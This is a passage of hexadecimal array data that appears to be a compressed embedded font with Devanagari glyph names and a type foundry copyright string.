0x0b826120, 0xc341bb20, + 0x240b8306, 0x034c00ce, 0x0ac34143, 0xc341b020, 0x4103200d, 0x362407bf, 0x9e022500, 0x78201b82, 0x21090f41, 0x47421204, 0x06b74106, 0x411c0421, + 0x01200d1b, 0x8a1fab41, 0x3a022597, 0xa601e8ff, 0x8329ab41, 0x80012197, 0xf9222f82, 0xa7412500, 0x0f03210f, 0x21092f42, 0xa3822302, 0xe8ff1a24, + 0x0386bd06, 0xe8ff8324, 0x0b825205, 0x07822c20, 0x07826a20, 0xe8ff2a24, 0x0b824404, 0xe8ff8724, 0x07823907, 0x1382a320, 0x0782f520, 0x0382de20, + 0x06211782, 0x20078207, 0x2103854c, 0x1b82a106, 0xa2200383, 0x93200f82, 0x10200b82, 0x09200382, 0xc2200b82, 0x6d200782, 0x5b820782, 0x825d0721, + 0x820b200b, 0x003e280b, 0x00070744, 0x82f20444, 0x00ad2403, 0x820d0644, 0x826f205f, 0x82302003, 0x829f2003, 0xff752403, 0x82d609e8, 0x205b832b, + 0x832f8255, 0x82d12003, 0x86dc2007, 0x828d2003, 0x82038307, 0x83052083, 0x82ca2003, 0x2003830f, 0x20af82d8, 0x200382ce, 0x200f8286, 0x20038216, + 0x200b822e, 0x8303822d, 0x826b208f, 0x200f834f, 0x200782f0, 0x201382ba, 0x2003827c, 0x200b82f2, 0x200782aa, 0x200382fa, 0x210385b3, 0x07825605, + 0x04202b82, 0xbb821383, 0x82d00421, 0x829d200f, 0x82682003, 0x86f72003, 0x21378203, 0x0b82f604, 0x6382c020, 0x03854f20, 0x82030621, 0x83778307, + 0x82472003, 0x824d20c3, 0x82ff205b, 0x827a2013, 0x82212003, 0x82af202b, 0x824a2003, 0x82e42003, 0x828b2003, 0x200b8313, 0x056f41d3, 0xab830520, + 0x04210382, 0x055741c7, 0x825a0521, 0x820b2007, 0x82ee2027, 0x82502007, 0x85702003, 0xa7022427, 0x8302e8ff, 0x82fd20af, 0x82922007, 0x21978203, + 0x07820705, 0x77429a20, 0x55022505, 0xa004f1ff, 0xc3820b82, 0x82a10221, 0x82042033, 0x218f820b, 0x1741a504, 0x82612006, 0x82b42007, 0x207f8317, + 0x830b8242, 0x82c920e3, 0x825c200f, 0x864420af, 0x82052007, 0x82ca2017, 0x8542200b, 0xe6022103, 0x8a230f82, 0x8204dbff, 0x8d042187, 0x95200b82, + 0x6024d782, 0xfe03e8ff, 0x06210385, 0x2127855f, 0x1782a804, 0x1f827220, 0x03826a20, 0x13829120, 0x04219782, 0x200b8225, 0x201782d0, 0x200382c7, + 0x20038288, 0x2417823b, 0x04480019, 0x240382de, 0x02480095, 0x829f828a, 0x8b032103, 0x2a220782, 0x0783e0ff, 0x826b0521, 0x8564200b, 0x82052003, + 0x400321f7, 0xc0240b82, 0x5d02f8ff, 0xe7284b82, 0xb8064c00, 0xf9044c00, 0xaa200382, 0x4e280382, 0xd6054c00, 0x0908e8ff, 0xa7201b82, 0x3b205b82, + 0x2006d741, 0x20078228, 0x206f82b5, 0x20078266, 0x20078290, 0x200782cc, 0x820782fe, 0x8c06212b, 0x56200b82, 0x55200382, 0x20068f41, 0x201782c5, + 0x830b829d, 0x822e2007, 0x82222043, 0x82ed200f, 0x8584200f, 0xc8052103, 0x03831382, 0x17821420, 0x0382e520, 0x07216786, 0x201f8205, 0x200382ea, + 0x201f8296, 0x24178238, 0x09e8ff9a, 0x20078203, 0x821382f0, 0x0104210f, 0x1b200782, 0x1f200382, 0xd0201f82, 0x92200782, 0x0f200382, 0x53200b82, + 0x80200782, 0x5f200382, 0xf6200382, 0x04211385, 0x2037829e, 0x21038527, 0x23827605, 0x0385a520, 0x82070621, 0x825e2007, 0x065b4317, 0x82c30521, + 0x8263200b, 0x820b2003, 0x420d2003, 0x8382064b, 0x82ac0621, 0x86292027, 0x82178353, 0x0206215b, 0xcf200f82, 0x5b200382, 0xcd200382, 0xe3200382, + 0x82200382, 0x07212785, 0x200b821c, 0x2003824b, 0x200382d3, 0x241382d4, 0x0446002e, 0x210385e5, 0x07829405, 0x0382a720, 0x1b82ab20, 0x1b826120, + 0x07821d20, 0x03869720, 0x7782b320, 0x0b829120, 0x1782b220, 0x0b822420, 0x0782dc20, 0x07823a20, 0x07829f20, 0x17822c20, 0x0782ec20, 0x07828a20, + 0x0782a420, 0x03853720, 0x82380421, 0x82e1200f, 0xffb12403, 0x82b403e8, 0x820b2003, 0xff79232f, 0x5b8208e8, 0x823d0621, 0x20fb8223, 0x07d74305, + 0x4f852820, 0x82bb0421, 0x82132007, 0x82532003, 0xff962403, 0x826d07e8, 0x82fc203f, 0x85fb2003, 0x58062117, 0x4e200782, 0xc4200382, 0xc3820382, + 0x827e0521, 0x82182053, 0x21ab8253, 0x2f823e05, 0x17821b20, 0x2f82c520, 0xbc20c383, 0x7a200782, 0x2005d741, 0x21938204, 0x0b82a603, 0x5300ed23, + 0x29038205, 0x25002a03, 0x53006a05, 0x0382a704, 0x1382d420, 0x0f820b20, 0x0b824120, 0x0b82ff20, 0x5300a022, 0x49201f84, 0x5d200b82, 0x03823382, + 0x82070421, 0x827c2067, 0x2107824f, 0x07820404, 0x0f822220, 0x07858620, 0x43c90421, 0xff200617, 0x0382e382, 0x82430521, 0x82a22017, 0x416a2013, + 0x04210547, 0x20078219, 0x20478208, 0x210385e4, 0x07828d07, 0x05219f82, 0x065b415c, 0x2b82c820, 0x0b827820, 0x0782aa20, 0x1b823320, 0x07820520, + 0x0f82dd20, 0x5b416c20, 0x829e2006, 0x2103820b, 0x0782f505, 0x5b41b920, 0x03072105, 0x20062344, 0x2007828f, 0x241382a1, 0x02e8ff35, 0x830b82a8, + 0x82fc2023, 0x827a2087, 0x82bd200f, 0x828b2003, 0xffd52e1b, 0xfd2d01e8, 0xff0000e7, 0x00000039, 0x2007823b, 0x270383b7, 0xe0ff4402, 0x35ff2d01, + 0xfd210389, 0x852783e7, 0x2ffe232b, 0x03880000, 0x0b822720, 0x2b820384, 0x038a5d20, 0x0b825120, 0x1f820384, 0x0b829420, 0x3c03c122, 0x83827382, + 0x444a0221, 0x4e200697, 0x23478b82, 0x0a9b4906, 0xa7498f82, 0x3e0bc908, 0x01580041, 0x03220043, 0x021f0068, 0x033c008a, 0x022a001a, 0x002300f9, + 0x012200ac, 0x827c00ec, 0x011b3803, 0x023f00f8, 0x006600ca, 0x020500e1, 0x00570049, 0x023000f1, 0x483d0002, 0x2d08278f, 0x3000f500, 0x20003001, + 0x62006402, 0x79000603, 0x70004e02, 0x28001a02, 0x46000104, 0x2200b902, 0x4b007602, 0x25000503, 0x4b00c502, 0x03820c02, 0x0f860320, 0x4b00c124, + 0x0f820801, 0x2c003424, 0x0b827902, 0x1782bc20, 0x0f827220, 0x0782d120, 0x2f821020, 0x07825320, 0x07821320, 0x13827820, 0x005c3808, 0x0034023a, + 0x00b20227, 0x00b6024a, 0x00e70313, 0x00940213, 0x005d0232, 0x002e020f, 0x00e50132, 0x00cd0294, 0x00e401a4, 0x008e0280, 0x001e0324, 0x00fe007e, + 0x82a6020a, 0x82a6203f, 0x8458203f, 0x02252807, 0x01250069, 0x8418004c, 0x84892017, 0x013c267f, 0x02e4ff08, 0x250b842a, 0x000f044b, 0x1782024b, + 0x007e0223, 0x20238226, 0x2203824b, 0x82800125, 0x00162613, 0x0074012d, 0x2a1b821c, 0x00400246, 0x0039030a, 0x82f3010a, 0x8246205f, 0x82d72007, + 0x000436bf, 0x0044017e, 0x00040269, 0x0029025a, 0x00040124, 0x00410100, 0x28af8258, 0x00860242, 0x0024022a, 0x84ab833c, 0x00422423, 0x82380129, + 0x00152a43, 0x00c8012e, 0x00e9011f, 0x2657822d, 0x00490225, 0x82050257, 0x828220cb, 0x82ab2053, 0x00cd2c6b, 0x00540168, 0x0056011b, 0x82f10012, + 0x828e206b, 0x00763087, 0x00f40023, 0x00170134, 0x00d1000a, 0x84bc0114, 0x0232263f, 0x022200aa, 0x280382bd, 0x022100e6, 0x0233001a, 0x920b82b9, + 0x99032903, 0x05030c00, 0x0c022500, 0x86068b41, 0x08012307, 0x03850e00, 0x01f5ff2a, 0x02f2ff08, 0x020900d0, 0x23068741, 0x25001003, 0x0223038b, + 0x827b00bb, 0x821a200f, 0x8c4a20db, 0x005d2403, 0x8253020f, 0x00bb2357, 0x77410236, 0x8f252005, 0x3d042107, 0x58207b82, 0x69200382, 0x7f90038d, + 0x1f827c20, 0x23078741, 0x0226007e, 0xa722038b, 0x0f825a00, 0x23058b41, 0x02460089, 0x46220387, 0x6f820a00, 0x83024b21, 0x83fb8307, 0x84078e83, + 0x8f7f82fb, 0xc5022507, 0x0d034b00, 0xf7837382, 0x0c203783, 0xa383c782, 0x4784079e, 0x2500a622, 0x0123078f, 0x86e1ff08, 0x82cd2003, 0x20038307, + 0x830782ee, 0x82f62003, 0x21038207, 0xf3824800, 0x79024b22, 0x2a206782, 0x8205fb42, 0x010e220f, 0x058742bc, 0x82cf0121, 0x86ab2007, 0x843a2017, + 0x82092007, 0x0209221f, 0x069f42d1, 0x0321078e, 0x22bb8210, 0x8f26007e, 0x37042507, 0x26042500, 0x21054343, 0x3b828001, 0x4b827820, 0x5c27078b, + 0x16023a00, 0x8f022d00, 0x00342707, 0x00740127, 0x0783021c, 0x07827920, 0x4a00b227, 0x46008902, 0x2d07a602, 0x1300e703, 0x0a003903, 0x0f005d02, + 0x07864602, 0x32002e27, 0x2c00d701, 0x82078e02, 0x013e2ab3, 0x03c8ff4c, 0x040c0099, 0x87ab8240, 0x2a83878b, 0x00250069, 0x012000f2, 0x840a0032, + 0x82822003, 0x00412407, 0x828c000a, 0x00ee2403, 0x82ea0007, 0x8264200f, 0x826d2003, 0x00c22267, 0x8f7b871f, 0x41022007, 0x938b07cb, 0xc4269b83, + 0x9c035700, 0x63825700, 0x03821920, 0xd7002028, 0xa6010500, 0x03821900, 0x8d01202a, 0x48020500, 0x49023100, 0xce2ebb82, 0x7e026400, 0x26043000, + 0x29012900, 0x03822d00, 0x02322008, 0x0333004b, 0x031a0022, 0x020b0052, 0x011a007b, 0x034b0008, 0x0318002b, 0x02260011, 0x822b00f5, 0x02262c37, + 0x021400b8, 0x011f00e5, 0x822800e0, 0x5720080f, 0x3d000202, 0x3400f400, 0x15003d03, 0x1b00be02, 0xd6ff0e01, 0x24002902, 0x7900f002, 0x55002502, + 0x2d260384, 0x54021f00, 0x03831800, 0x00210137, 0x00d10050, 0x00eb0020, 0x00170135, 0x00d40046, 0x001a0220, 0x82178428, 0x280b8213, 0x00a70233, + 0x00af005a, 0x2303831d, 0x1d004601, 0x02270383, 0x0235007f, 0xa425005e, 0x82a62003, 0x005d247f, 0x8262023a, 0x00523833, 0x002a0036, 0x00010000, + 0xfe1a0400, 0x096400a2, 0xf9e7fdd6, 0x83ec0955, 0x88178211, 0x22042f02, 0x5b030400, 0x0500f401, 0x8a020000, 0x18825802, 0x07854b20, 0x005e0125, + 0x824a0132, 0x0600210f, 0x03840483, 0x84078021, 0x29048606, 0x4f465449, 0x0000c000, 0x638502fb, 0x026f0427, 0x00002073, 0x231e8393, 0xb9022702, + 0x20220782, 0x05820400, 0x09820220, 0x03820320, 0x03001422, 0x14247f84, 0xbe020400, 0x9a220f82, 0x5c828000, 0x09821a20, 0x000d9608, 0x017e0020, + 0x011b0107, 0x01310123, 0x01480137, 0x0165015b, 0x018f017e, 0x02fd0192, 0x0259021b, 0x02c702bc, 0x03dd02c9, 0x090309c0, 0x090d090b, 0x09140911, + 0x09300928, 0x09390933, 0x09490945, 0x0950094d, 0x0965095e, 0x0970096f, 0x1e851e72, 0x1ef31ebd, 0x200d20f9, 0x201a2014, 0x2022201e, 0x20302026, + 0x2044203a, 0x20ac20a8, 0x21bd20ba, 0x21222113, 0x222e2126, 0x22062202, 0x2212220f, 0x221a2215, 0x222b221e, 0x22602248, 0x25ca2565, 0xff02fbcc, + 0x229982ff, 0x820d0000, 0x0021329b, 0x010a01a0, 0x0128011e, 0x01390136, 0x015e014c, 0x229b8468, 0x841802fc, 0x82c6209b, 0x82d8209b, 0x0901369b, + 0x090c0905, 0x0913090f, 0x092a0915, 0x09350931, 0x0947093c, 0x249b824b, 0x09600958, 0x309b8466, 0x1ebc1e80, 0x20f81ef2, 0x2013200c, 0x201c2018, + 0x209b8420, 0x209b8639, 0x209b90b9, 0x209b8211, 0x209b8819, 0x209b8464, 0x089b8201, 0xf5ff0122, 0x7302e3ff, 0x50025202, 0x4a024e02, 0x45024602, + 0x40024202, 0x2e023e02, 0xc3012c02, 0x6c01a901, 0x0129b382, 0xf2000001, 0x00001000, 0x29cd84f6, 0x0ff7fdf6, 0x00000ef7, 0xdb840bf7, 0x39f70024, + 0x0d82f0f6, 0xf7194a08, 0xe5a1f61a, 0xe41be551, 0xe0e3e4e7, 0xe3cae383, 0xe3c6e3c7, 0xe3c2e3c5, 0xe3b1e3b9, 0xe3e5dfa8, 0xe3000041, 0xe2dde232, + 0xe2cce2cf, 0xe1f2e1c5, 0xe1e7e1ef, 0xe1e4e1e6, 0xe1dee1e1, 0xe1b6e1d2, 0xde9ce19f, 0x09c5da38, 0x0f614202, 0x059a6785, 0x1b826c20, 0x70006e22, + 0x02830582, 0x04826e20, 0x82007024, 0x07828600, 0x05860020, 0x049a0a84, 0x1b9a6c20, 0x44081a8d, 0x0079007a, 0x000c007b, 0x000e0012, 0x0014000f, + 0x003f004f, 0x007e0045, 0x0015007c, 0x00170016, 0x00190018, 0x001b001a, 0x001e0022, 0x0023001f, 0x00210020, 0x000b007d, 0x001c000d, 0x008b001d, + 0x038e008c, 0x285284ee, 0x00ea0013, 0x04010003, 0x200d8209, 0x850382a2, 0x8201200b, 0x86a22027, 0x82022017, 0x86be2063, 0x0003240b, 0x86cc003a, + 0x8a04200b, 0x00052423, 0x8606010a, 0x00062417, 0x8610011c, 0x0008240b, 0x862c0126, 0x0009240b, 0x8652015c, 0x000b240b, 0x86ae013a, 0x010d240b, + 0x86e80122, 0x000e240b, 0x860a0336, 0x0010240b, 0x8640030e, 0x0011240b, 0x864e030c, 0x0013240b, 0x855a03ae, 0x0001250b, 0x08044000, 0x01240b86, + 0x48041e00, 0x02240b86, 0x66042a00, 0x033c0b86, 0x90042c00, 0x6f004300, 0x79007000, 0x69007200, 0x68006700, 0x20007400, 0x30003200, 0x20220384, + 0x11825400, 0x11826520, 0x25845020, 0x23827020, 0x73006e22, 0x72200f84, 0x6a241182, 0x63006500, 0x41223184, 0x07827500, 0x13826820, 0x1f847220, + 0x49842820, 0x59827420, 0x3a007324, 0x01822f00, 0x3b826720, 0x15827420, 0x62007524, 0x35822e00, 0x6d006f22, 0x69201582, 0x66203582, 0x75243582, + 0x64006e00, 0x79208382, 0x6b8d1382, 0x8d002921, 0x0020220f, 0x2075824d, 0x204d8264, 0x20418275, 0x200b8252, 0x227b8267, 0x8261006c, 0x8249203d, + 0x004624af, 0x923b004f, 0x83358bb1, 0x8234201f, 0x82302085, 0x823420e7, 0x0038218f, 0x6d8d0d89, 0x6d8c2d20, 0xa5844920, 0x6b826920, 0x61826e20, + 0x79005422, 0x6520df82, 0x46200982, 0x4e20c18c, 0x6e209b82, 0x64202382, 0x4b201982, 0x6c200782, 0x2024a382, 0x44002800, 0x76200782, 0x61223b84, + 0xaf846700, 0x29006924, 0x25822c00, 0x3f824a20, 0x5b826e20, 0xb7847920, 0x09826920, 0x11826820, 0x07827220, 0x4c203783, 0x74202b82, 0x29205384, + 0x83105541, 0x8264202b, 0x8261201b, 0x8674202b, 0x0d4f418f, 0x20076b41, 0x223b8254, 0x82730069, 0x84462061, 0x8274206d, 0x82532009, 0x00662409, + 0x84770074, 0x85c9838d, 0x826c2021, 0x82632051, 0x826e20ad, 0x0065212f, 0x9f41c783, 0x00652205, 0x20358272, 0x06134274, 0x49005324, 0x0f824c00, + 0x70004f22, 0x20212b84, 0x20598900, 0x83418c4c, 0x825620e3, 0x82722023, 0x8469204f, 0x0020247d, 0x842e0031, 0x05634203, 0x20207793, 0x73204382, + 0x61225f82, 0x9f827600, 0x6c006922, 0x62200582, 0xa7830582, 0x69007722, 0x6820b782, 0x77831d84, 0x51004122, 0x74220b84, 0x07823a00, 0x1b826820, + 0x220b7b42, 0x82630073, 0x006922b9, 0x20178270, 0x22778273, 0x82690073, 0x822e2047, 0x00722689, 0x002f0067, 0x20b9824f, 0x105b414c, 0x2f4235a5, + 0x0a65420d, 0x09380937, 0x0040092d, 0x092e0920, 0x09410928, 0x094d0937, 0x094b092f, 0x22118202, 0x824b0915, 0x09172605, 0x0930094c, 0x22098235, + 0x82300914, 0x09052805, 0x093f0927, 0x823e0915, 0x20278715, 0x203f8447, 0x2143823e, 0x0b850932, 0x41844720, 0x53821c20, 0x15824d20, 0x2d821c20, + 0x23822420, 0x5d823820, 0x24093522, 0x24201584, 0x30200b82, 0x3e200b82, 0x38205988, 0x3e202982, 0x24211b82, 0x20138309, 0x211f842a, 0x0783093e, + 0x392a3b83, 0x64094809, 0x71005300, 0x07427500, 0x00642c08, 0x0074006f, 0x00200073, 0x826e0069, 0x82702005, 0x006e221b, 0x83138263, 0x82742023, + 0x846f2015, 0x846d2017, 0x826b2031, 0x82442029, 0x00752131, 0x20059f41, 0x200f822d, 0x240f8274, 0x00650072, 0x243d8279, 0x00410061, 0x223b826c, + 0x82720065, 0x82612035, 0x00692209, 0x201b8276, 0x223d8220, 0x8270006d, 0x82722009, 0x82612031, 0x9864201b, 0x00322229, 0x2049822c, 0x20058433, + 0x20058436, 0x06794839, 0xff230682, 0x823200b5, 0x0d029006, 0x0023044b, 0x01020100, 0x01030003, 0x01050104, 0x01070106, 0x01090108, 0x010b010a, + 0x010d010c, 0x010f010e, 0x01110110, 0x01130112, 0x01150114, 0x01170116, 0x01190118, 0x011b011a, 0x011d011c, 0x011f011e, 0x01210120, 0x01230122, + 0x01250124, 0x01270126, 0x01290128, 0x012b012a, 0x012d012c, 0x012f012e, 0x01310130, 0x01330132, 0x01350134, 0x01370136, 0x01390138, 0x013b013a, + 0x013d013c, 0x013f013e, 0x01410140, 0x01430142, 0x01450144, 0x01470146, 0x01490148, 0x014b014a, 0x014d014c, 0x014f014e, 0x01510150, 0x01530152, + 0x01550154, 0x01570156, 0x01590158, 0x015b015a, 0x015d015c, 0x015f015e, 0x01610160, 0x01630162, 0x01650164, 0x01670166, 0x01690168, 0x016b016a, + 0x016d016c, 0x016f016e, 0x01710170, 0x01730172, 0x01750174, 0x01770176, 0x01790178, 0x017b017a, 0x017d017c, 0x017f017e, 0x01810180, 0x01830182, + 0x01850184, 0x01870186, 0x01890188, 0x018b018a, 0x018d018c, 0x018f018e, 0x01910190, 0x01930192, 0x01950194, 0x01970196, 0x01990198, 0x019b019a, + 0x019d019c, 0x019f019e, 0x01a101a0, 0x01a301a2, 0x01a501a4, 0x01a701a6, 0x01a901a8, 0x01ab01aa, 0x01ad01ac, 0x01af01ae, 0x01b101b0, 0x01b301b2, + 0x01b501b4, 0x01b701b6, 0x01b901b8, 0x01bb01ba, 0x01bd01bc, 0x01bf01be, 0x01c101c0, 0x01c301c2, 0x01c501c4, 0x01c701c6, 0x01c901c8, 0x01cb01ca, + 0x01cd01cc, 0x01cf01ce, 0x01d101d0, 0x01d301d2, 0x01d501d4, 0x01d701d6, 0x01d901d8, 0x01db01da, 0x01dd01dc, 0x01df01de, 0x01e101e0, 0x01e301e2, + 0x01e501e4, 0x01e701e6, 0x01e901e8, 0x01eb01ea, 0x01ed01ec, 0x01ef01ee, 0x01f101f0, 0x01f301f2, 0x01f501f4, 0x01f701f6, 0x01f901f8, 0x01fb01fa, + 0x01fd01fc, 0x02ff01fe, 0x02010200, 0x02030202, 0x02050204, 0x02070206, 0x02090208, 0x020b020a, 0x020d020c, 0x020f020e, 0x02110210, 0x02130212, + 0x02150214, 0x02170216, 0x02190218, 0x021b021a, 0x021d021c, 0x021f021e, 0x02210220, 0x02230222, 0x02250224, 0x02270226, 0x02290228, 0x022b022a, + 0x022d022c, 0x022f022e, 0x02310230, 0x02330232, 0x02350234, 0x02370236, 0x02390238, 0x023b023a, 0x023d023c, 0x023f023e, 0x02410240, 0x02430242, + 0x02450244, 0x02470246, 0x02490248, 0x024b024a, 0x024d024c, 0x024f024e, 0x02510250, 0x02530252, 0x02550254, 0x02570256, 0x02590258, 0x025b025a, + 0x025d025c, 0x025f025e, 0x02610260, 0x02630262, 0x02650264, 0x02670266, 0x02690268, 0x026b026a, 0x026d026c, 0x026f026e, 0x02710270, 0x02730272, + 0x02750274, 0x02770276, 0x02790278, 0x027b027a, 0x027d027c, 0x027f027e, 0x02810280, 0x02830282, 0x02850284, 0x02870286, 0x02890288, 0x028b028a, + 0x028d028c, 0x028f028e, 0x02910290, 0x02930292, 0x02950294, 0x02970296, 0x02990298, 0x029b029a, 0x029d029c, 0x029f029e, 0x02a102a0, 0x02a302a2, + 0x02a502a4, 0x02a702a6, 0x02a902a8, 0x02ab02aa, 0x02ad02ac, 0x02af02ae, 0x02b102b0, 0x02b302b2, 0x02b502b4, 0x02b702b6, 0x02b902b8, 0x02bb02ba, + 0x02bd02bc, 0x02bf02be, 0x02c102c0, 0x02c302c2, 0x02c502c4, 0x02c702c6, 0x02c902c8, 0x02cb02ca, 0x02cd02cc, 0x02cf02ce, 0x02d102d0, 0x02d302d2, + 0x02d502d4, 0x02d702d6, 0x02d902d8, 0x02db02da, 0x02dd02dc, 0x02df02de, 0x02e102e0, 0x02e302e2, 0x02e502e4, 0x02e702e6, 0x02e902e8, 0x02eb02ea, + 0x02ed02ec, 0x02ef02ee, 0x02f102f0, 0x02f302f2, 0x02f502f4, 0x02f702f6, 0x02f902f8, 0x02fb02fa, 0x02fd02fc, 0x03ff02fe, 0x03010300, 0x03030302, + 0x03050304, 0x03070306, 0x03090308, 0x030b030a, 0x030d030c, 0x030f030e, 0x03110310, 0x03130312, 0x03150314, 0x03170316, 0x03190318, 0x031b031a, + 0x031d031c, 0x031f031e, 0x03210320, 0x03230322, 0x03250324, 0x03270326, 0x03290328, 0x032b032a, 0x032d032c, 0x032f032e, 0x03310330, 0x03330332, + 0x03350334, 0x03370336, 0x03390338, 0x033b033a, 0x033d033c, 0x033f033e, 0x03410340, 0x03430342, 0x03450344, 0x03470346, 0x03490348, 0x034b034a, + 0x034d034c, 0x034f034e, 0x03510350, 0x03530352, 0x03550354, 0x03570356, 0x03590358, 0x035b035a, 0x035d035c, 0x035f035e, 0x03610360, 0x03630362, + 0x03650364, 0x03670366, 0x03690368, 0x036b036a, 0x036d036c, 0x036f036e, 0x03710370, 0x03730372, 0x03750374, 0x03770376, 0x03790378, 0x037b037a, + 0x037d037c, 0x037f037e, 0x03810380, 0x03830382, 0x03850384, 0x03870386, 0x03890388, 0x038b038a, 0x038d038c, 0x038f038e, 0x03910390, 0x00930392, + 0x00050004, 0x00070006, 0x00090008, 0x000b000a, 0x000d000c, 0x000f000e, 0x00110010, 0x00130012, 0x0e414b14, 0x001c2f09, 0x001e001d, 0x0020001f, + 0x00220021, 0x00240023, 0x00260025, 0x00280027, 0x002a0029, 0x002c002b, 0x002e002d, 0x0030002f, 0x00320031, 0x00340033, 0x00360035, 0x00380037, + 0x003a0039, 0x003c003b, 0x003e003d, 0x0040003f, 0x00420041, 0x00440043, 0x00460045, 0x00480047, 0x004a0049, 0x004c004b, 0x004e004d, 0x0050004f, + 0x00520051, 0x00540053, 0x00560055, 0x00580057, 0x005a0059, 0x005c005b, 0x005e005d, 0x0060005f, 0x00940361, 0x008400a3, 0x00bd0085, 0x00e80096, + 0x008e0086, 0x009d008b, 0x03a400a9, 0x008a0095, 0x008300da, 0x00f20093, 0x038d00f3, 0x00880096, 0x00de00c3, 0x009e00f1, 0x00f500aa, 0x00f600f4, + 0x00ad00a2, 0x00c700c9, 0x006200ae, 0x00900063, 0x00cb0064, 0x00c80065, 0x00cf00ca, 0x00cd00cc, 0x00e900ce, 0x00d30066, 0x00d100d0, 0x006700af, + 0x009100f0, 0x00d400d6, 0x006800d5, 0x00ed00eb, 0x006a0089, 0x006b0069, 0x006c006d, 0x00a0006e, 0x0071006f, 0x00720070, 0x00750073, 0x00760074, + 0x00ea0077, 0x994c0078, 0x7dc30905, 0xb8007c00, 0x7f00a100, 0x80007e00, 0xec008100, 0xba00ee00, 0x98039703, 0x9a039903, 0x9c039b03, 0xfe00fd00, + 0x9e039d03, 0x0001ff00, 0xa0039f03, 0x0101a103, 0xa303a203, 0xa503a403, 0xa703a603, 0xa903a803, 0xab03aa03, 0xf900f800, 0xad03ac03, 0xaf03ae03, + 0xb103b003, 0xb303b203, 0xb503b403, 0xb703b603, 0xd700fa00, 0xb903b803, 0xbb03ba03, 0xbd03bc03, 0xbf03be03, 0xc103c003, 0xe300e200, 0xc303c203, + 0xc503c403, 0xc703c603, 0xc903c803, 0xcb03ca03, 0xcd03cc03, 0xb100b000, 0xcf03ce03, 0xd103d003, 0xd303d203, 0xd503d403, 0xd703d603, 0xe500e400, + 0xd903d803, 0xdb03da03, 0xdd03dc03, 0xdf03de03, 0xe103e003, 0xe303e203, 0xe503e403, 0xe703e603, 0xe903e803, 0xeb03ea03, 0xec03bb00, 0xee03ed03, + 0xe600ef03, 0xf003e700, 0xf103a600, 0xf303f203, 0xf503f403, 0xf703f603, 0xd800f803, 0xf903e100, 0xdc00db00, 0xe000dd00, 0xdf00d900, 0xfa039b00, + 0xfc03fb03, 0xfe03fd03, 0x0004ff03, 0x02040104, 0x04040304, 0xb2000504, 0xb600b300, 0xc400b700, 0xb500b400, 0x8200c500, 0x8700c200, 0xc600ab00, + 0xbf00be00, 0x0604bc00, 0x08040704, 0x8c000904, 0x0b040a04, 0x0c049800, 0x99009a00, 0x0d04ef00, 0xa5000e04, 0x9c009200, 0x8f00a700, 0x95009400, + 0xc000b900, 0x0f04c100, 0x11041004, 0x13041204, 0x15041404, 0x17041604, 0x19041804, 0x1b041a04, 0x1d041c04, 0x1f041e04, 0x21042004, 0x23042204, + 0x25042404, 0x27042604, 0x29042804, 0x2b042a04, 0x4e042c04, 0x024c4c55, 0x64035243, 0x82044176, 0x82412003, 0x82492008, 0x49492108, 0x55200882, + 0x55200882, 0x76270483, 0x76640552, 0x82525276, 0x4c76210f, 0x4c210a83, 0x201e824c, 0x200e8245, 0x20278341, 0x2a08834f, 0x76640955, 0x6e616345, + 0x82617264, 0x88412009, 0x854f2009, 0x21358209, 0x6283416d, 0x83496d21, 0x8349200a, 0x556d2164, 0x55200a83, 0x76250584, 0x76640652, 0x8363826d, + 0x4c762112, 0x4c220c84, 0x1382044c, 0x3a844520, 0x4f202f84, 0x55210a84, 0x8515830a, 0x860a8356, 0x212b8261, 0x2082414b, 0x83484b21, 0x83472066, + 0x4847210a, 0x4e210583, 0x20108347, 0x200a8343, 0x201b8443, 0x200a834a, 0x201b854a, 0x270b8359, 0x06415454, 0x54547664, 0x44211284, 0x220c8344, + 0x84484444, 0x834e203b, 0x8454203b, 0x203b8424, 0x820a8344, 0x6404221b, 0x201a8476, 0x210f8350, 0x25834850, 0x0a834220, 0x0a844220, 0x0f834d20, + 0x04835920, 0x04835220, 0x04834c20, 0x1e835620, 0x84485321, 0x83532005, 0x84048410, 0x4c4c290f, 0x76640741, 0x53535f4b, 0x4a220783, 0x95844e5f, + 0x83784b21, 0x484b2288, 0x84ca8478, 0x844a2005, 0x44442212, 0x82278378, 0x200e84a2, 0x23218550, 0x03417852, 0x98824482, 0x82484b21, 0x82472008, + 0x48472108, 0x4e210482, 0x200d8247, 0x20088243, 0x20168343, 0x2008824a, 0x2016844a, 0x22098259, 0x84055454, 0x210a82f7, 0x0a824444, 0x0a825282, + 0x824e4e21, 0x82542031, 0x83542008, 0x82442031, 0x83442008, 0x20158308, 0x200c8250, 0x200c8350, 0x20088242, 0x20088342, 0x202b824d, 0x20038259, + 0x20038252, 0x2003824c, 0x20188256, 0x21608353, 0x0d825353, 0x0c830383, 0x064c4c22, 0x0682e085, 0x0420df83, 0x78200d82, 0xdd827082, 0x47210a82, + 0x20048278, 0x820f834a, 0x0a2208cb, 0x6e417664, 0x61767375, 0x640d6172, 0x6e614376, 0x62617264, 0x75646e69, 0x56766409, 0x72617369, 0x22836167, + 0x67617627, 0x61686172, 0x38148308, 0x616d6172, 0x4e766407, 0x61746b75, 0x5a766406, 0x056f7265, 0x6e4f7664, 0x23058265, 0x076f7754, 0x6823e382, + 0x82656572, 0x6f46231a, 0x06837275, 0x83766921, 0x6953221b, 0x241b8278, 0x65766553, 0x2407826e, 0x68676945, 0x241c8274, 0x656e694e, 0x213e8204, + 0x8982126d, 0x72626230, 0x61697665, 0x6e6f6974, 0x6e676973, 0x8f826405, 0x640b6127, 0x6c62756f, 0x260b8465, 0x70757205, 0x820b6565, 0x616922a0, + 0x210b846e, 0x7f827a12, 0x64697729, 0x6f6e6874, 0x826f6a6e, 0x0f72214d, 0x0f851288, 0x6f640c2b, 0x64657474, 0x63726963, 0x2396836c, 0x68706552, + 0x4526de82, 0x616c6579, 0xf6826873, 0x06825220, 0x61727422, 0x06267283, 0x5f4b7664, 0xa0824152, 0x82484b21, 0x200e8207, 0x200e8547, 0x820e8347, + 0x834e2016, 0x2016820f, 0x20168543, 0x20258643, 0x200e854a, 0x2025874a, 0x210f8559, 0x07825454, 0x76640824, 0x18865454, 0x85444421, 0x44442110, + 0x4e211086, 0x8366854e, 0x845e8228, 0x835e8227, 0x840e8226, 0x860e8225, 0x85502024, 0x86502055, 0x85422074, 0x8642200e, 0x854d200e, 0x827a8349, + 0x854c2032, 0x8556200d, 0x86532023, 0x5353216e, 0x06861685, 0x4c201586, 0x6e822c83, 0x85784b21, 0x484b219d, 0x10820883, 0x07864720, 0x18864a20, + 0x18845020, 0x76640525, 0x82525f4b, 